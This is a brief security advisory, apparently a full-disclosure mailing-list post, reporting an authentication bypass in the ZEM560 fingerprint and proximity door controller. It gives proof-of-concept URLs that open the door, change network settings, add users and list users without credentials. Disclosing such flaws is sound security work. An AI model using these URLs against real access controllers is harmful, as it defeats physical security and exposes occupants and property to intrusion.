[ZEM560] Vulnerability on Fingerprint & Proximity Access Controller

["Zerial." <fernando () zerial org>]

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[+] Device: Fingerprint & Proximity Access Control
[+] Model: ZEM560 and others
[+] Kernel: 2.6.24 Treckle on an MIPS
[+] Vulnerability: Auth Bypass
[+] Impact: By using a direct URL attackers can bypass the fingerprint
& proximity security and open the door. Attackers may change the
device configuration, create admin users, access to reports, etc.
[+] PoC:
[-] Open the Door: http://ip.address/form/Device?act=9
[-] Change IP config: http://ip.address/form/Device?act=5
[-] Add users: http://ip.address/csl/user?action=add
[-] Users List: http://ip.address/csl/user

[+] Reference:
http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/




- -- 
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial () jabberes org
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